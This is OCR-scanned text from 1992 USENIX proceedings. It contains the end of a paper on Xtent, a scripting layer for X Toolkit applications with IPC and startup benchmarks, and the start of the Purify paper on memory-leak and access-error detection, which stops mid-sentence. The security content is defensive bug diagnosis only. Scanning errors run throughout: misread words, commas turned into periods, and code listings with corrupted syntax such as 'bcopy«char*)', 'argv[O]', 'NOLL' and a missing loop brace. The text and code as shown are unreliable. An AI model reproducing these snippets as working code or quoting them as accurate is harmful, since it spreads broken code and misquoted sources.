Code can be stored in the resource database and later executed. This provides a system reminiscent of Lisp where
there is little differentiation made between code and data.

widget-switch: xtent.XtEvalLines:;\
input-style: file;\
xtent. form. switch. set.XtSetValue: True

The lines above create a resource database entry for the variable widget-switch. The value of the variable is a
bit of Xtent code that will set the variable input-style to file and set the widget resdUrce set in the widget
xtent. form. switch to True. XtEvalLines is a function that allows groups ofXtent lines to be executed,
similar to lambda in Lisp.

Code put into the resource database may be subsequently executed by referring to it through its associated variable
name. Of course, the code may also be treated as any other database entry. It can be retrieved and updated just like
any other piece of data. The following line shows how the entry above might be used in an application.

xtent.file.select.XtAddCallback: ~(widget-switch)

This line sets up a Callback for the widget xtent. file on the widgets select internal event or state.
Callbacks are the X Toolkit method for doing procedural attachment. This allows an application to run application
specific code when an particular event occurs within a widget. The line above will result in the code under the
variable widget-switch being executed when the widget is selected with a mouse or other pointing device.
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2.S Application Supplied Functions

Builtin functions in xtent are executed by including them in lines of the form:

xtent ... XtFunctionName : args

Blewett, Anderson, •••

Applications may also add and rename functions to Xtent. The following adds a function that prints a parameter N
times.

xtent.XtAddFunction: (PrintN, PrintN-script, n, arg)
PrintN-script: xtent.XtEvalLines:;\

xtent.XtLocalVariables: (i);\
xtent.Xtlterate: (i, <, 0, A (n), 1, xtent.XtPrint: A (arg»

The "body of the function is found under the resource database variable PrintN-script. Entering
xtent .XtPrintN: (3, Bell Labs) will result in Bell Labs being printed 3 times.

xtent.XtPrintN: (3, Bell Labs)
Bell Labs
Bell Labs
Bell Labs

Notice that the variable n is bound to the number 3 and the variable arg is bound to the string AT&T when this
command is issued. These variables are reset to their former values, if any, when the function returns.

2.6 Mixing C and Xtent Code

Some Xt functions expect a pointer to a C function to be given as one of their arguments. When using Xtent, these
functions may all be passed Xtent code in lieu of a function pointer. Xtent code may be supplied wherever the X
Toolkit normally expects a pointer to a function. This includes Callbacks, translation tables, timeouts, workprocs,
actions and events, as well as alternate input sources. Xtent adds two input sources, interprocess communication
(IPC) and shell escapes. The IPC will get some special attention in the next section. Shell escapes may be used to
provide an instruction stream, similar to the use of backquotes in shell commands. If Xtent is used as a library, then
in all cases where Xt expects C functions, C and Xtent code may be freely intermixed. The Xtent mechanisms
follow the standard C function interface rules. If an application, for example, needs to use some Xtent code for
callbacks, the application may also use C code for callbacks.

2.7 Xtent as an IPC Protocol

We have been working on schemes for connecting graphics processes for some time now. The technique that we
like best involves a client/server model quite like the model upon which X and NeWS[12] is based. The reusable
graphics processes are clients of a server that coordinates their activity. This client/server model seems to fit the
AT&T Bell Labs application development process well.

We have constructed a small IPC library that allows us to use this client/server model. Messages are transported as
arbitrary length, asynchronous, datagrams. We have used a number of ad hoc protocols that sit above the basic
message passing software level. The scheme that seems to work best is to send Xtent code.

Xtent code has a number of benefits over fixed protocol techniques. First of all, it requires no architecture specific
mechanisms for interpreting the protocol. Most other schemes we have used required byte order hacking techniques
to handle multiple architectures. Next, Xtent is Xt complete. We know that when we use Xtent as the protocol
converter, anything that can be specified in an application can also be specified remotely. Last of all, Xtent allows
us to download complete functions into an application, thus reducing the amount of interaction that is required
between elements of a system.

Xtent may be used as the IPC protocol for an existing Xt based application. To do this, the application developer
has to add two lines of C to the application:
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XtentlnitializeForXlpcHandler (argc, argv);
XtAddXlpc (toplevel-ptr, ipc_name, XtentHandlelpcToClient);

The initialization line installs the Xtent type converters and the XtAddXlpc () installs the IPC input and output
sources. The function XtentHandlelpcToClient () is the Xtent protocol converter.

In Xtent specifications the IPC may be installed with the following line:

xtent.XtAddXlpc: ~(ipc-name)

Once the IPC has been installed in the application, the interprocess communication is handled automatically. When
messages come in, they are read and processed without any intervention from the application.

2.8 Xtent Compared with Optimized C Code

Because Xtent is used as an executable specification system, it must have performance comparable to other X
applications. Xtent compares favorably with shell scripts for its looping and other control flow operations. The real
test, is of course, how it fairs against optimized, compiled, C code. Once the widgets have been created at start up
time, both C and Xtent programs run from a widget tree. This means that once the applications have been
initialized, Xtent based systems have the same performance as hand crafted C code for the critical graphics and
widget operations. One would hope that the startup performance difference between a hand crafted system and one
produced from a specification would be less than an order of magnitude.

The sample application that we designed for the test consists of 128 OpenLook oblong button widgets contained
within a control area. A control area is a container or composite widget, a widget that manages other widgets. The
control area is created with Xtent's VARARGs interface to XtCreateManagedWidget as follows:

xtent.ca.XtVaCreateManagedWidget: (controlArea,\
layoutType , fixedcols, measure, 8)

This creates a container widget that will arrange its children widgets in fixed rows of eight widgets cacho The
oblong buttons are created with Xtent's iterate function:

xtent.Xt_Iterate: (i, <, 0, 128, 1, xtent.XtEvalLine:\
xtent.ca.~ (i) .XtCreateManagedWidget: oblongButton

This is a simple loop with an extra call to XtEvalLine: to force macro expansion of ~ (i). This is done to
generate widget names, the integers 0 through 127.

We are only interested in startup performance, so we want the application to exit as soon as the application is
mapped or displayed. This can be done by adding a simple translation to the toplevel widget. In Xtent this can be
done with the following two lines.

xtent.XtAppAddAction: DoThis
xtent.XtOverrideTranslations: <Map>: DoThis(" xtent.XtExit: 0")

Our four or five lines of Xtent tum into four or five times as many lines of C code and eight header files, four from
Xt and the following from OpenLook.

#include <Xol/OpenLook.h>
#include <Xol/ControlAre.h>
#include <Xol/OblongButt.h>
#include <Xol/OlStrings.h>

The following figure contains the C version of the test. The calls to initialize the X toolkit, realize the toplevel
widget, and the main Xt loop are provided automagically by Xtent.
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void
main (argc, argv)
unsigned int argc;
char **argv;
{

Widget toplevel, controlArea;
register int i;
char buf[64];
XtActionsRec action;
XtTranslations text_trans;
static void DoThis ();

Blewett, Anderson, •••

toplevel = OlInitialize (argv[O], "Test", NULL, 0, &argc, argv);

controlArea = XtVaCreateManagedWidget ("controlArea",
controlAreaWidgetClass, toplevel,
XtNlayoutType, OL_FIXEDCOLS,
XtNmeasure, 8, NULL);

for (i = 0; i < 128; i++) {
sprintf (buf, "%d", i);
XtCreateManagedWidget (buf, oblongButtonWidgetClass,

controlArea, (Arg *) NULL, 0);

action. string = "DoThis";
action.proc = DoThis;
XtAppAddActions (XtWidgetToApplicationContext (toplevel), &action, 1);

text_trans = XtParseTranslationTable ("<Map>: DoThis()");
XtOverrideTranslations (toplevel, text_trans);

XtRealizeWidget (toplevel);
XtMainLoop ();

}

static void
DoThis ()
{

exit (0);
}

Figure 2. C code for the startup comparison.

Unlike usual benchmarks that are produced to promote a hidden agenda, this comparison is biased toward the C
program. Looping in an interpreter always involves overhead that is not required in compiled code. Most Xtent
based descriptions contain little or no looping. Widgets are simply declared one after the other in most applications.
The following table contains timing results from 20 runs perfonned on a Sun 4/260 using XllR4 from MIT.
Timing was perfonned using the time builtin command from the Kom Shell. The programs were run with
override redirect set to eliminate window manager interactions.
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Average Startup Time in Seconds

Application
Source Type real user sys

Optimized C 1.71 0.62 0.34

Xtent 1.99 0.81 0.41

TABLE 1. Startup Time Comparison

X Widget Based Software •••

The Xtent startup perfonnance is within a third of a second of the optimized C code. End users report that they
cannot tell the difference between the compiled C code and the Xtent based applications.

3. The Application Builder

The application builder is a tool for
creating and maintaining widget based
graphics applications. The builder, itself,
is constructed from a collection of Xtent
based processes. These processes have
proven to be useful tools in and of
themselves. The piece parts are editors for
manipulating and maintaining X widget
based applications. The following is the
list of editors that we have created:

• resource - an editor that allows one to
manipulate the state of an instantiated
widget. This can be used for both a
learning tool and a debugging aid.

• layout - an editor for manipulating the
visual layout of a single widget based
application. Graphics applications are
notorious for being plus one buggy.
The layout editor eliminates many of
these errors.

• connection - an editor for setting the
connections between widgets and
widget states. When a button is poked
an application may, for example, wish
to display a menu. This sort of inter­
widget communication can be
described and maintained with the
connection editor.

Multi-Process
Application Builder

Figure 3. Processes in the application builder.

• widget tree - an editor for displaying and manipulating the parent child relationships between widgets. This is
useful as a navigational aid for selecting and inspecting widgets. Many widgets have no visible representation.
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The application builder creates a prototype Xtent process, a separate process controlled via messages. The four
editors that comprise the builder send messages to the router process that result in changes being sent to the
prototype. The four editors have no notion of the specific process that is being acted on or the existence of the other
editors. This clean separation of components allows the editors to be easily reused.

Figure 4. The application builder at work.

Figure four shows the application builder being run in a typical construction session. The upper and lower windows
are from the layout editor process. They allow the end user to create, destroy, and generally manage widget
placement within the prototype. The middle window is the widget tree editor. It shows the widget structure of the
prototype that is running on the right. The widget tree editor allows the end user to quickly navigate the widget tree
and select specific widgets. Not all widgets have a visible representation. The application that we are manipulating
in this example is an X to PostScript program. This program was used to create all of the examples that are included
in this paper.
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Figure 5. The resource editor editing widget colors.

Figure five demonstrates how the the resource editor is used to manipulate widget resources in a running application.
The resource editor can be used to edit the resources of any X toolkit based application. The application need not be
written or specified using Xtent. That is the application may have been written in a compiled language, such as C.
This sort of manipulation of a live process works because Xtent is used as the IPC protocol.

The example in figure five shows the color sampler of the resource editor being used to select colors. Selecting
colors for widgets is often a tedious, iterative process. The resource editor allows the application developer to
quickly select pairs of colors for foreground and background resources, for example. As colors are chosen the
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prototype application is updated with each selection. Any of the other myriad of widget resources may of course
also be manipulated in the same manner.

In figures four and five one can see that the prototype receives messages from the router in order to update the
prototype. Updating may include creating or deleting widgets or updating the state of existing widgets. Messages
are also sent to query the state of the prototype. The widget tree editor requires a list of the widgets to be displayed.
This list is obtained by sending a message requesting that the widget names be returned in a subsequent message.

The message traffic to a prototype Xtent process or to a C based Xt process is handled without application
intervention. Applications are unaware of message traffic. This feature allows applications to be easily reused by
weaving them into the IPC fabric of another application.

4. Conclusions

We feel that our distributed executable specification and protocol technique is a good extension to the traditional
pipe based software tools. It has proven to be surprisingly scalable, from small to huge projects, and a good
productivity enhancer. We are clearly in the era of complex systems, so the technique does have a programmer
startup cost or learning curve. These costs are of course much lower than those traditionally associated with X or
most other graphics programming systems. We feel that these techniques allow application developers to think more
casually about graphical interfaces and to better manage the task of producing applications.
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Purify:
Fast Detection of Memory Leaks and Access Errors

Reed Hastings and Bob Joyce
Pure Software Inc.

Abstract

This paper describes PurifyTM. a software testing and quality assurance tool that detects
memory leaks and access errors. Purify inserts additional checking instructions directly
into the object code produced by existing compilers. These instructions check every
memory read and write perfonned by the program-under-test and detect several types of
access errors. such as reading uninitialized memory or writing to freed memory. Purify
inserts checking logic into all of the code in a program. including third-party and vendor
object-code libraries. and verifies system call interfaces. In addition. Purify tracks memory
usage and identifies individual memory leaks using a novel adaptation of garbage
collection techniques. Purify produces standard executable files compatible with existing
debuggers. and currently runs on Sun Microsystems· SPARe family of workstations.
Purify·s nearly-comprehensive memory access checking slows the target program down
typically by less than a factor of three and has resulted in significantly more reliable
software for several development groups.

1. Introduction

A single memory access error. such as reading from uninitialized memory or writing to freed memory. can cause a
program to act unpredictably or even crash. Yet. it is nearly impossible to eliminate all such errors from a non-trivial
program. For one thing. these errors may produce observable effects infrequently and intermittently. Even when
programs are tested intensively for extended periods. errors can and do escape detection. The unique combination of
circumstances required for an error to occur and for its symptoms to become visible may be virtually impossible to
create in the development or test environment. As a result. programmers spend much time looking for these errors,
but end-users may experience them first. [MilleI90] empirically shows the continuing prevalence of access errors in
many widely-used Unix programs.

Even when a memory access error triggers an observable symptom. the error can take days to track down and
eliminate. This is due to the frequently delayed and coincidental connection between the cause. typically a memory
corruption, and the symptom. typically a crash upon the eventual reading of invalid data.

Memory leaks, that is. memory allocated but no longer accessible to the program, slow program execution by
increasing paging, and can cause programs to run out of memory. Memory leaks are more difficult to detect than
illegal memory accesses. Memory leaks occur because a block of memory was not freed. and hence are errors of
omission. rather than commission. In addition. memory leaks rarely produce directly observable errors, but instead
cumulatively degrade overall performance.
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Once found. memory leaks remain challenging to fix. H memory is freed prematurely. memory access errors can
result. Since access errors can introduce intermittent problems. memory leak fixes may require lengthy testing. Often.
complicated memory ownership protocols are required to administer dynamic memory. Incorrectly coded boundary
cases can lurk in otherwise stable code for years.

Both memory leaks and access errors are easy to introduce into a program but hard to eliminate. Without facilities for
detecting memory access errors. it is risky for programmers to attempt to reclaim leaked memory aggressively
because that may inttoduce freed-memory access errors with unpredictable results. Conversely. without feedback on
memory leaks. programmers may waste memory by minimizing free calls in order to avoid freed-memory access
errors. A facility that reported on both a program·s memory access errors and its memory leaks could greatly benefit
developers by improving the robustness and performance of their programs.

This paper presents Purify. a tool that developers and testers are using to find memory leaks and access errors. If a
program reads or writes freed memory. reads or writes beyond an array boundary. or reads from uninitialized
memory. Purify detects the error at the point of occurrence. In addition. upon demand. Purify employs a garbage
detector to find and identify existing memory leaks.

2. Memory Access Errors

Some memory access errors are detectable statically (e.g. assigning a pointer into a short); others are detectable only
at run-time (e.g. writing past the end of a dynamic array); and others are detectable only by a programmer (e.g.
storing a person·s age in the memory intended to hold his height). Compilers and tools such as lint find statically­
detectable errors. Purify finds run-time-detectable errors.

Errors detectable only at run-time are challenging to eliminate from a program. Consider the following example
Purify session. running an application that is using the Xll Window System Release 4 (XllR4) Inttinsics Toolkit
(Xt). The application is called my-prog. and has been prepared by Purify.

tutorial'% myyrog -display exodus:O
Purify: Dynamic Error Checking Enabled. Version 1.3.2.
(C) 1990, 1991 Pure Software, Inc. Patents Pending •

. . . program runs, until the user closes a window while one of its dia­
logs is still up•..

Purify: Array Bounds Violation:
Writing 88 bytes past the end of an array at Ox4a7c88 (in heap)
Error occurred while in:

beopy (bcopy.o; pc - Ox6dOc)
_XtDoPhase2Destroy (Destroy.o; line 259)
XtDispatchEvent (Event.o; pc = Ox33bfd8)
XtAppMainLoop (Event.o; pc = Ox33e48c)
XtMainLoop (Event.o; pc = Ox33c464)
main (lei.o; line 445)

The array is 160 bytes long, and was allocated by malloc called from:
XtMalloe (Alloc.o; pc = Ox32b71c)
XtRealloe(Alloc.o; pc = Ox32b754)
XtDestroyWidget (Destroy. 0; line 292)
close_window (input.o; line 642)
maybe_close_window (util.o; line 2003)
_XtCallcallbacks (Callback.o; line 294)
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The Purify error message says that bcopy, called from _XtDoPhase2Destroy, is overwriting an array end, and
that the target array was allocated by xtDestroyWidget, line 292.

void xtDestroyWidget (widget)
Widget widget;

(

292 app->destroy_list = (DestroyRec*)XtRealloc(
293 (char*)app->destroy_list,
294 (unsigned)sizeof(DestroyRec)*app->destroy_list_size);

From this one can see that the target array is a desttoy list, an internal data structure used as a queue of pending
destroys by the two-phase Intrinsics destroy protocol. In order to understand why the end of the array is getting
overwritten, one must study the caller of bcopy, _ XtDoPhase2Dest roy.

void _XtDoPhase2Destroy(app, dispatch_level)
XtAppContext app;
int dispatch_level;

{

253 int i = 0;
254 DestroyRec* dr = app->destroy_list;
255 while (i < app->destroy_count) {
256 if (dr->dispatch_level >= dispatch_level)
257 Widget w = dr->widget;
258 if (--app->destroy_count)
259 bcopy«char*) (dr+l), (char*) dr,
260 app->destroy_count*sizeof(DestroyRec»;
261 XtPhase2Destroy(w);
262 } else {
263 i++;

dr++;

}

}

Aided by the certain knowledge that a potentially fatal bug lurks here, one can see that the bcopy on line 259 is
intended to delete an item in the desttoy list by copying the succeeding items down over the deleted one.
Unfortunately, this code only works if the DestroyRec being deleted is the first one on the list. The problem is that the
app->destroy_count on line 260 should be app->destroy_count - i. As it is, whatever memory is
beyond the desttoy list will get copied over itself, shifted 8 bytes (the size of one DestroyRec) down. The
resemblance to reasonable data would likely confuse the programmer debugging the eventual core dump.

Many people find it hard to believe that such an obvious and potentially fatal bug could have been previously
undetected in code as mature and widely used as the XllR4 Xt Intrinsics. Certainly the code was extensively tested,
but it took a particular set of circumstances (a recursive destroy) to exercise this bug, that might not have come up in
the test suite. Even if the bug did come up in the test process, the memory corrupted may not have been important
enough to cause an easily visible symptom.

Consider the testing scenario in more detail. Assume optimistically that the test team has the resources to ensure that
every basic block is exercised by the test suite, and thus a recursive desttoy is added to the test suite to exercise line
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263 above. The memory overwriting will then occur in the testing, but it mayor may not be detected. Unless the
memory corrupted is vital, and causes a visible symptom such as a crash, the tester will incorrectly conclude that the
code is perfonning as desired. In contrast, if the tester had used Purify during the testing, the error would have been
detected at the point ofoccurrence, and the tester would not have had to depend on further events to trigger a visible
symptom.

Thus Purify does not in any way remove the need for testing, but it does make the effort put into testing more
effective, by minimizing the unpredictability of whether or not an exercised bug creates a visible symptom.

The effects of a library vendor missing a single memory corruption error like this Xt bug are quite serious:
applications using the Intrinsics will occasionally ttash part of their memory, and some percentage of the time this
memory will be important enough to cause the application to later crash for seemingly mysterious reasons. Without a
tool like Purify to watch over a library's use and possible misuse of dynamic memory, the application developer never
knows if his application's crashes are his own code's fault or the fault of some infrequently exercised library code.
This vulnerability and uncertainty is part of the reason that many developers still insist on '~l1ing their own" when it
comes to utility routines.

3. Detecting Memory Access Errors

To achieve nearly-comprehensive detection of memory access errors, Purify "traps" every memory access a program
makes, other than those for instruction fetch, and maintains and checks a state code for each byte of memory.
Accesses inconsistent with the current state cause a diagnostic message to be printed, and the function CATCH_ME
is called, on which the programmer can set a breakpoint.

Modifying the operating system to run a software trap upon every memory access would be prohibitively expensive,
because of the context switch overhead Instead, Purify inserts a function call instruction directly into a program's
object code, before every load or store. The functions called, in conjunction with malloc and free, maintain a bit
table that holds a two-bit state code for each byte in the heap, stack, data, and bss sections (the data and bss sections
contain statically-allocated data). The three possible states and their transitions are shown in Figure 1.

FIGURE 1. Memory State Transition Diagram

Allocated and initialized
(writable and readable)

Unallocated
(unwritable and unreadable)

Allocated but uninitialized
(writable but unreadable)

initialize
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A write to memory that contains any bytes that are currently in an unwritable state causes a diagnostic message to be
printed; a similar message is printed if the program-under-test reads bytes marked unreadable. Writing uninitialized
memory causes the memory's state to become initialized. When malloe allocates memory, the memory's state is
changed from unallocated to allocated-but-uninitialized. Calling free causes the affected memory to enter the
unallocated state.

To catch array bounds violations, Purify allocates a small "red-zone" at the beginning and end of each block returned
by malloe. The bytes in the red-zone are recorded as unallocated (unwritable and unreadable). If a program
accesses these bytes, Purify signals an array bounds error.[l]

To catch reads of uninitialized automatic variables, upon every function entry Purify sets the state of the stack frame
bytes to the allocated-but-uninitialized state. In addition, each frame is separated with a red-zone to catch overwriting
stack frame errors.

To catch array bounds violations in statically allocated arrays, Purify separates each static datum with a red-zone.
Unfortunately some C code depends upon the contiguity of data statically defined together, and indexes directly from
one static array into the middle of another. While this may seem a questionable practice, machine-generated code
such as yacc parsers do make this assumption. Thus separating statically allocated arrays with red-zones has to be
user suppressible, and Purify automatically suppresses it for yacc parsers.

To minimize the chance that accesses to freed memory will go undetected because the affected memory is quickly
reallocated, Purify does not reallocate memory until it has "aged", and is thus less likely to still be incorrectly pointed
into. The aging is user specifiable and measured in the .number of calls to free.

In order to identify otherwise anonymous heap chunks, the call chain at the time malloe is called is recorded in the
bytes that make up the chunk's red-zone. The depth of functions recorded is user specifiable.

Since there are three states, two bits are required to record the state of each byte. Thus there is a 25% memory
overhead during development for state storage. In essence, Purify implements a byte-level tagged architecture in
software, where the tags represent the memory state.

The advantage of maintaining byte-level state codes is that C and C++ programs can exhibit off-by-one byte-level
errors[2] that would go undetected if a word-level state code approach was used. In fact, there is a continuum of
choices here. Purify will catch the read of an uninitialized byte (representing a boolean flag in a struct, say), but will
not necessarily catch an uninitialized bit field read. In the extreme case, Purify could maintain a two-bit state code for
each bit of memory, giving a 200% overhead. In the authors' judgement, going from word tagging (6.25% overhead)
to byte tagging (25% overhead) is quite worthwhile because of the additional error detection this change permits, but
going to bit tagging (200% overhead) is not worthwhile.

An alternative scheme for state storage, that would completely forego byte and two-byte access checking, would be to
store the state information directly in the data by using one "unusual" bit pattern to represent the unallocated state,
and another to represent the allocated-but-uninitialized state. All other bit patterns would represent real data in the
allocated and initialized state. This is the implementation sttategy that Saber [Kaufer88], Catalytix [Feuer85] and
various similar malloc_debug packages use. Byte and two-byte checking cannot be performed with this technique
because there are no 8- or 16-bit patterns unusual enough to prevent false positives from occurring frequently.

1. Since arrays in C & C++ are little more than a convenient syntax for pointer arithmetic, it is not possible to perfonn complete array bounds
checking. In particular, errors of the fonn"x = malloe (100); x [5000] = 1;" will not always be caught because the address x + 5000
could point into another piece of valid memory. Purify allows the user to adjust the size of the red-zone to suit his particular space \IS. thoroughness
requirements.

2. Such as those caused by incorrect handling of a string's null tenninating byte.
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4. Object Code Insertion

Purify uses object code insertion to augment a program with checking logic.

Object code insertion can be performed either before linking or after linking. Pixie[3] is one program that does object
code insertion after linking. Purify does it before linking, which is slightly easier, at least on Son systems, since the
code has not yet been relocated. Purify reads object files generated by existing compilers, adds error checking
instructions without disturbing the symbol table or program logic, and feeds the output to existing linkers.
Consequently, existing debuggers continue to work with Purified code.

FIGURE 2. Example Make
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Another way to augment the program-onder-test with the necessary checking logic would be to enhance the compiler
to emit the required sequences, or to employ a portable pre-compiler. This would mean, however, that the
programmer would have to recompile his files in order to use Purify, and that there would be no error checking in any
libraries for which he did not have source code available.

Thus an advantage of object code insertion vs. a compiler or pre-compiler approach is setup perfonnance. Since the
re-translation from C or C++ to assembler is avoided, object code insertion can be much faster then recompilation.
Our un-tuned implementation of object code insertion is more than SO times faster (on a SPARC) than compilation.

Another advantage of object code insertion is convenience. The source for a large program lives in many directories,
and the object code is already aggregated by the linker. To use object code insertion only the link target in the primary
Makefile must change, instead of the u.c.o" compilation rules in every Makefile in the application.

Another advantage ofobject code insertion is multi-language support; many languages are quite similar at the object­
code level. C and C++, for example, differ only in the encoding of the C++ names into umangled names". Thus with
the minor addition of a demangler to assist in the printing of symbol names, object code insertion programs such as
Purify work with C++ as well as they work with C. We are currently exploring an ADA version.

A final advantage of object code insertion is completeness: all of the code, including third-party and vendor libraries,
is checked. Even hand-optimized assembly code is checked. This completeness means bugs in application code (such
as calling strcpy with too short a destination array) that manifest themselves in vendor or third-party libraries are
detected. Also, serious bugs in third-party libraries (like writing into freed memory) can be detected, and the Purify
messages can form the basis for highly-specific bug reports. Moreover, the detection or absence of such potentially
fatal errors in a particular third-party library during the library's evaluation phase can increase the developer's
knowledge of the quality of the code that will be included in his application.

3. Pixie is a program that MIPS Computers Systems distributes to insert profiling code direc1ly in an aecutable MIPS program.
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The disadvantage of object code insertion is that it is largely instruction-set dependent, and somewhat operating
system dependent-roughly like the back end of a compiler. This makes porting Purify to new architectures a
substantial task.

5. Memory Leaks

Memory leaks are even harder than memory access errors to detect The difficulty in detecting access errors is that the
direct symptoms of such a bug may appear only sporadically-but a memory leak typically doesn't even have a direct
symptom. The cumulative effects of memory leaks is that data locality is lost which increases the size of the working
set and leads to more memory paging. In the worst case, the program can consume the entire virtual memory of the
host system.

The indirect symptom of a memory leak is that a process' address space grows during an activity where one would
have expected it to remain constant Thus the typical test methodology for finding memory leaks is to repeat an
action, such as opening and closing a document, many times and to conclude that there are no leaks if the address
space growth levels out

However, there are two problems with this methodology. The first problem is that it does not rule out that there
simply was enough unallocated heap memory in the existing address space to accommodate the leaks. In other words
the address space does not grow, but there does exist a leak. The assumption that testers have is that if the leak was
significant enough to care about, it would have consumed all of the unallocated heap memory within the chosen
number of repetitions and forced an expansion of the process's address space.

The second problem with this repetition methodology is that it is quite time consuming to build test suites that
repetitively exercise every feature, and automatically watch for improper address space growth. In fact, it is generally
so time consuming that it is not done at all.

Suppose, however, that a developer is sufficiently motivated to build a leak-detecting test suite, and finds that the
address space grows unacceptably, due to one or more leaks. The developer still must spend a considerable amount of
time to track down the problems. lYPically, he would either (1) shrink the test suite bit by bit until the address space
growth is no longer observed, or (2) modify malloe and free to record their arguments and perfonn an analysis of
what was malloe'd but not freed. The first technique is fairly brute-force, and can take many iterations to track
down a single leak.

The second technique seems powerful but in practice has problems. In any given repetition loop, such as opening and
closing a document, there may be malloe chunks that are malloe'd but legitimately not freed until the next
iteration. Thus just because a chunk was malloe'd but not freed during an iteration does not mean the chunk
represents a leak. It may represent a carry-over from a previous iteration. An improved technique [Barrach82] is to
record the malloe and free calls for an entire program run, and look for chunks malloc'd but not freed. The
problem with this is the existence of pennanently-allocated data, such as a symbol table, that is designed to be
reclaimed only when the process tenninates. Such permanently-allocated data incorrectly show up as leaks, i.e.
rnalloe'd but not freed, with this technique (2) and its variants.

Memory leaks are so hard to detect and track down that they are often simply tolerated. In short-lived programs such
as compilers this is not serious, but in long-running programs it is a major problem. Consider how many hours have
probably been spent eliminating leaks in the XIIR4 server for Sun workstations. All that effort, yet dozens of leaks
still exist-small, but leaks that accumulate into big effects. Here is one example session with the XllR4 server
program, prepared by Purify, and running under the dbx debugger. It shows Purify catching the X server leaking one
half of a megabyte from a single place, and the 10 minute sequence of events required to fix the leak.
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tutorial% dbx Xsun
(dbx) run
Purify: Dynamic Error Checking Enabled. Version 1.3.2.
(C) 1990, 1991 Pure Software, Inc. Patents Pending •

Hastings, Joyce

.. .X server runs, we write more of this paper, then we interrupt the
server with control-C, and call the leak finding routine ...

(dbx) call purify_newleaks()
Purify: searching for new memory leaks ..•

Found 43037 leaks.
There are 516752 leaked bytes, which is 35.9% of the 1437704 bytes in
the heap.

12 (43026 times). Last memory leak at Ox35a058
516312 total bytes lost, allocated by malloc, called from:
Xalloc (utils.o; line 515)
miRegionCreate (miregion.o; line 279)
miBSExposeCopy (mibstore.o; line 3458)
miHandleExposures (miexpose.o; line 209)
mfbCopyArea (mfbbitblt.o; line 283)
miBSCopyArea (mibstore.o; line 1391)
miSpriteCopyArea (misprite.o; line 999)
ProcCopyArea (dispatch.o; line 1563)
Dispatch (dispatch. 0; line 256)
main (main.o; line 248)
start (crtO.o; pc = Ox2064)

40 (11 times). Last memory leak at Ox36ee98
440 total bytes lost, allocated by malloc, called from:
Xalloc (utils.o; line 515)
miRectAlloc (miregion.o; line 361)
miRegionOp (miregion.o; line 660)
milntersect (miregion.o; line 975)
miBSExposeCopy (mibstore.o; line 3460)
miHandleExposures (miexpose.o; line 209)
mfbCopyArea (mfbbitblt.o; line 283)
ProcCopyArea (dispatch.o; line 1563)
Dispatch (dispatch. 0; line 256)
main (main.o; line 248)
start (crtO.o; pc = Ox2064)

This example shows two leaks that have appeared so far in the current ron of the X server. The first is the dominant
l~ so let us walk through how to go from this information to finding the bug. The first leak has occurred 43026
times so far, and each time leaked 12 bytes. The first leak was probably not the responsibility ofXalloc, so we look
at line 279 of miRegionCreate. It creates a region structure and simply returns it. So we turn to the caller of
miRegionCreate: miBSExposeCopy, line 3458:

tempRgn = (* pGC->pScreen->RegionCreate) (NOLL, 1);

A scan of the function confirms that tempRgn is never freed. A one line fix suffices.l4]
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6. Detecting Memory Leaks

Purify: Fast Detection of ,.,

Memory leaks are allocated memory no longer in use. They should have been freed, but were not. In languages such
as lisp and Smalltalk garbage collectors find and reclaim such memory so that it does not become a leak.

There are two parts to a garbage collector: a garbage detector and a garbage reclaimer. To achieve some of the
benefits of garbage collection (lack of memory leaks) without the associated run-time costs or risks, Purify makes an
important and novel change of focus. Instead of providing an automatic garbage collector, Purify provides a callable
garbage detector that identifies memory leaks.(5) The garbage detector is a subroutine library that helps the
programmer find and eliminate memory leaks during development. By using garbage detection to track down leaks,
developers can benefit from garbage collection technology without suffering the normally associated delivery
runtime costs.

Although the purpose is different, Purify uses an algorithm similar to the conventional mark and sweep. In the mark
phase, Purify recursively follows potential pointers from the data and stack segments into the heap and marks all
blocks referenced in the standard "conservative" and "pessimistic" [6] manner. In the sweep phase, Purify steps
through the heap, and reports allocated blocks that no longer seem to be referenced by the program.

Identifying leaked blocks only by address would not help programmers track down the source of the leak; it would
only confirm that leaks existed. Therefore, Purify modifies malloc to label each allocated block with the return
addresses of the functions then on the call stack. These addresses, when translated into function names and line
numbers via the symbol table, identify the code path that allocated the leaked memory, and often make it fairly easy
for the programmer to eliminate the error.[7]

By moving the garbage collector technology from run-time to development, we are able to avoid the serious
consequences of the fundamental problem with garbage collectors for C & C++, namely that there is always
ambiguity in what is and what is not garbage. Our garbage detector separates the heap chunks into three classes:

1. chunks that are almost certainly garbage (no potential pointers into them), and

2. chunks that are potentially garbage (no potential pointers to the beginnings of the them), and

3. chunks that are probably not garbage (potential pointers do exist to the beginnings them).

4. We don't mean to pick on XIIR4 code; it's just widely-used, nearly-commercial-quality code. This leak, by the way. is also in XIIR5.

S. John Dawes. of Stanford University. co-invented this teclmology.

6. See the following long footnote for an explanation of these tenns.

7. Obviously. better than fixing memory leaks would be avoiding them. Garbage collectors [Moon84] have been written for C and c++. Like other
garbage collectors. they attempt to provide automatic and reliable storage management at some runtime cosL Generally they follow mark and
sweep algorithms. and use the stack. machine registers. and data segment as root pointers into the heap. Since an integer in C is indistinguishable
from a pointer. every plausible pointer, meaning every 32 bit word on most current machines. has to be considered a possible root pointer. It is
assumed that the programmer is not "hiding" any pointers from the collector by such things as byte-swapping a pointer temporarily. or leaving the
only reference to an object in a callback with an outside process. "Hiding'· a pointer would cause the collector to reclaim something that was not
yet garbage.

Since pointers cannot be distinguished from other types in C and C++. an integer with an unfortunate random value can "seem" to point to a chunk
that otherwise might be garbage. causing that chunk to not be collected. 1bis is why these collectors are often called "conservative". Such collec­
tors are called "pessimistic" if they pennit a pointer into the middle of a rna11oc t d chunk to anchor that chunk. The necessity of a collector being
conservative and pessimistic leads to over-marking and under-collecting.

The fimdamental flaw this introduces is that the larger a memory chunk becomes the more important it is that it be collected if it is garbage,
because it's a significant resource, and the less likely it is that it actually will be collected, because it is more likely to be accidentally anchored by
an integer value. This phenomenon is not limited to large single chunks; a doubly-linked list with many entries is vulnerable to the same error.
Worse still, the enor can be transient and unpredictable. Using a conservative garbage collector in the presence of large or interconnected chunks
may work most of the time, and then grow without bound in a particular run, because of an unfortUnate rand<?J11 value somewhere else in the pro­
gram that "seems" to point into a chunk that is actually garbage. In broad tenns. garbage collectors for C & C++ have excellent average case char­
acteristics (high degree of de-allocation coneetness). but fatal worst case characteristics (large chunks build up. recursively anchor enough
memory to aash the program).

USENIX - Winter '92 133



Purify: Fast Detection of ••• Hastings, Joyce

Each chunk is identified by its allocating call chain, and the developer uses his judgement on what and how to
